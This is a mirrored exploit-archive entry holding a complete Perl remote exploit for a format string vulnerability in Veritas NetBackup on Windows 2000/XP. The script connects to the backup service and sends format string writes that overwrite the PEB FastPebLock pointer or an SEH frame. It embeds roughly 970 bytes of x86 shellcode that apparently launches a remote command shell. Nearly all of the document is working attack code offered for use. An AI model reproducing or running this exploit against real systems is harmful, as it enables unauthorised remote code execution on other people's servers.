Lucene search
K

VERITAS-Win32.pl.txt

🗓️ 30 Oct 2005 00:00:00Reported by John H.Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Veritas NetBackup Win32 format string exploit for Windows 2000/XP pre SP2 and XP SP2. Allows overwriting PEBFastlock or SEH

Code
`#!C:\Perl\bin\perl.exe -w  
#  
# Vertias Netbackup Win32 format string exploit  
# Code By: johnh[at]digitalmunition[dot]com & kf[at]digitalmunition[dot]com  
#  
# For win2k/xp pre sp2 we overwrote PEBFastlock -> rtlentercritical  
# For win xp sp2 we overwrote SEH  
# http://www.digitalmunition.com/  
#  
# You may have to run this 2 times.   
#  
# This exploit May NOT be posted to a public Archive like k-otik without being  
# in its original GPG form (protected by passphrase)  
  
use IO::Socket;  
use Getopt::Std; getopts('h:p:t:', \ our %args);  
  
if (defined($args{'h'})) { $host = $args{'h'}; }  
if (defined($args{'p'})) { $port = $args{'p'}; }else{$port = 13722;}  
if (defined($args{'t'})) { $target = $args{'t'}; }  
  
  
print "\n-=[Remote Veritas NetBackup Format String exploit]=-\n\n";  
print "\n-=[TagTeam johnh[at]digitalmunition[dot]com and  
kf_lists[at]digitalmunition[dot]com]=-\n\n";  
  
if(!defined($host)){  
print "Usage:  
-h <host>  
-p port <default 13722>  
-t target:  
0 - Windows 2k/Windows XP SP0/SP1 - PEB  
1 - Windows XP SP2 - SEH\n\n";  
exit(1);  
}  
  
  
  
my $sock = new IO::Socket::INET(PeerAddr => $host,PeerPort => $port,Proto => 'tcp');  
$sock or die "no socket :$!";  
  
# 970 chars in length.   
  
my $shellcode = "\x90"x100;  
$shellcode .=  
"\xeb\x42" .  
"\x56".  
"\x57".   
"\x8b\x45\x3c".   
"\x8b\x54\x05\x78".   
"\x01\xea" .  
"\x52" .  
"\x8b\x52\x20".   
"\x01\xea".   
"\x31\xc0".   
"\x31\xc9".   
"\x41" .  
"\x8b\x34\x8a".   
"\x01\xee".   
"\x31\xff".   
"\xc1\xcf\x13" .  
"\xac" .  
"\x01\xc7".   
"\x85\xc0".   
"\x75\xf6".   
"\x39\xdf".   
"\x75\xea".   
"\x5a" .  
"\x8b\x5a\x24" .  
"\x01\xeb" .  
"\x66\x8b\x0c\x4b".   
"\x8b\x5a\x1c" .  
"\x01\xeb" .  
"\x8b\x04\x8b" .  
"\x01\xe8" .  
"\x5f" .  
"\x5e" .  
"\xc3" .  
"\xfc" .  
"\x31\xc0".   
"\x64\x8b\x40\x30".   
"\x8d\x78\x20" .  
"\x8b\x40\x0c" .  
"\x8b\x70\x1c" .  
"\xad" .  
"\x8b\x68\x08".   
"\x89\xee".   
"\x31\xc0".   
"\x64\x8b\x40\x30".   
"\x8b\x40\x0c" .  
"\x8b\x40\x1c" .  
"\x8b\x68\x08" .  
"\xbb\x6f\x5b\x8b\x9c".   
"\xe8\x8f\xff\xff\xff".   
"\xab" .  
"\xbb\xe1\x0f\xfe\xb7".   
"\xe8\x84\xff\xff\xff".   
"\xab" .  
"\x89\xf5".   
"\x31\xc0".   
"\x66\xb8\x6c\x6c".   
"\x50" .  
"\x68\x33\x32\x2e\x64".   
"\x68\x77\x73\x32\x5f".   
"\x54" .  
"\xbb\x71\xa7\xe8\xfe" .  
"\xe8\x65\xff\xff\xff" .  
"\xff\xd0" .  
"\x89\xef" .  
"\x89\xc5" .  
"\x81\xc4\x70\xfe\xff\xff" .  
"\x54" .  
"\x31\xc0".   
"\xfe\xc4".   
"\x40" .  
"\x50" .  
"\xbb\x22\x7d\xab\x7d".   
"\xe8\x48\xff\xff\xff".   
"\xff\xd0" .  
"\x31\xc0" .  
"\x50" .  
"\x50" .  
"\x50" .  
"\x50" .  
"\x40" .  
"\x50" .  
"\x40" .  
"\x50" .  
"\xbb\xa6\x55\x34\x79".   
"\xe8\x32\xff\xff\xff".   
"\xff\xd0" .  
"\x89\xc6" .  
"\x31\xc0" .  
"\x50" .  
"\x50" .  
"\x35\x02\x01\x70\xcc".   
"\xfe\xcc" .  
"\x50" .  
"\x89\xe0".   
"\x50" .  
"\x6a\x10" .  
"\x50" .  
"\x56" .  
"\xbb\x81\xb4\x2c\xbe" .  
"\xe8\x11\xff\xff\xff" .  
"\xff\xd0" .  
"\x31\xc0" .  
"\x50" .  
"\x56" .  
"\xbb\xd3\xfa\x58\x9b" .  
"\xe8\x01\xff\xff\xff" .  
"\xff\xd0" .  
"\x58" .  
"\x60" .  
"\x6a\x10".   
"\x54" .  
"\x50" .  
"\x56" .  
"\xbb\x47\xf3\x56\xc6".   
"\xe8\xee\xfe\xff\xff".   
"\xff\xd0" .  
"\x89\xc6" .  
"\x31\xdb" .  
"\x53" .  
"\x68\x2e\x63\x6d\x64".   
"\x89\xe1" .  
"\x41" .  
"\x31\xdb".   
"\x56" .  
"\x56" .  
"\x56" .  
"\x53" .  
"\x53" .  
"\x31\xc0".   
"\xfe\xc4".   
"\x40" .  
"\x50" .  
"\x53" .  
"\x53" .  
"\x53" .  
"\x53" .  
"\x53" .  
"\x53" .  
"\x53" .  
"\x53" .  
"\x53" .  
"\x53" .  
"\x6a\x44".   
"\x89\xe0".   
"\x53" .  
"\x53" .  
"\x53" .  
"\x53" .  
"\x54" .  
"\x50" .  
"\x53" .  
"\x53" .  
"\x53" .  
"\x43" .  
"\x53" .  
"\x4b" .  
"\x53" .  
"\x53" .  
"\x51" .  
"\x53" .  
"\x87\xfd" .   
"\xbb\x21\xd0\x05\xd0".   
"\xe8\xa8\xfe\xff\xff".   
"\xff\xd0" .  
"\x5b" .  
"\x31\xc0".   
"\x48" .  
"\x50" .  
"\x53" .  
"\xbb\x43\xcb\x8d\x5f".   
"\xe8\x96\xfe\xff\xff".   
"\xff\xd0" .  
"\x56" .  
"\x87\xef".   
"\xbb\x12\x6b\x6d\xd0".   
"\xe8\x87\xfe\xff\xff".   
"\xff\xd0" .  
"\x83\xc4\x5c" .  
"\x61" .  
"\xeb\x81";  
  
  
#/*  
#7FFDF250 54 PUSH ESP  
#7FFDF251 5F POP EDI  
#7FFDF252 B8 90909090 MOV EAX,90909090  
#7FFDF257 FD STD   
#7FFDF258 F2:AF REPNE SCAS DWORD PTR ES:[EDI]  
#7FFDF25A 57 PUSH EDI  
#7FFDF25B C3 RETN  
#  
#and   
#  
#over write FastPebLockRoutine pointer to EnterCriticalSection with our code address of 7FFDF250   
#  
#7FFDF020 7FFDF250   
#  
#*/  
  
print "TARGET IS $target\n";  
if ($target == 0) {  
$c = 8;  
@fmt_array = (  
  
#WINDOWS 2K SP4/XP SP0-SP1  
#OVERWRITE PEB FASTLOCKPOINTER -> RTLEnterCriticalSection  
[ 0x7FFDF250, 0x7FFDF252, 0x7FFDF254, 0x7FFDF256, 0x7FFDF258, 0x7FFDF25A,   
0x7FFDF022, 0x7FFDF020 ],  
[ 0x5f54, 0x90b8, 0x9090, 0xfc90, 0xaff2, 0xc357, 0x7ffd, 0xf250 ],  
  
);  
}  
  
  
if ($target == 1) {  
$c = 10;  
@fmt_array = (  
#windows XP SP2  
#OVERWRITE STATIC SEH FRAME  
  
[ 0x7FFDF250, 0x7FFDF252, 0x7FFDF254, 0x7FFDF256, 0x7FFDF258, 0x7FFDF25A,   
0x0012ffb0, 0x0012ffb2, 0x0012ffb6, 0x0012ffb4 ],  
[ 0x5f54, 0x90b8, 0x9090, 0xfc90, 0xaff2, 0xc357, 0x9090,0x9090,0x7FFD, 0xF250 ],  
);  
}  
  
  
my $offset = 0;  
my $dump_fmt=6; #amount of %.8x needed to reach stackbase  
my $payload;   
my $payload2;  
my $hi;   
my $lo;   
my $last = 0;  
my $flag = 2;   
  
my @shift;  
  
for (my $y = 0; $y < $c; $y = $y + 2)  
{  
  
$payload = "%08x" x $dump_fmt;  
$payload2 = pack('l', $fmt_array[0][$y]) . "AAAA" . pack('l', $fmt_array[0][$y+1]);  
  
$hi = $fmt_array[1][$y] - 0x2a - 35;  
$lo = $fmt_array[1][$y+1] - $hi - 77;  
  
$payload .= "%$hi" . "x%hn%$lo" . "x%hn";  
  
print $sock " 118 1\nSNO space filler\n";  
print scalar <$sock>;  
print scalar <$sock>;  
  
print $sock " 101 6\n" .   
"$payload" . "\n" . # You must finish the line off with a line feed.   
"dummy space\n" .   
"$shellcode\n" .   
"$payload2" . "\n" .   
"spare bits\n" .   
"spare bits\n\n";  
  
  
print scalar <$sock>;  
print scalar <$sock>;  
  
}  
  
  
if ($target == 1)  
{  
#create exception so SEH is called  
print $sock " 118 1\nSNO space filler\n";  
print scalar <$sock>;  
print scalar <$sock>;  
  
print $sock " 101 6\n" .   
"%n" . "\n" . # You must finish the line off with a line feed.   
"dummy space\n" .   
"$shellcode\n" .   
"AAAAAAAAAAAA" . "\n" .   
"spare bits\n" .   
"spare bits\n\n";  
  
  
print scalar <$sock>;  
print scalar <$sock>;  
  
}  
  
  
close $sock;  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation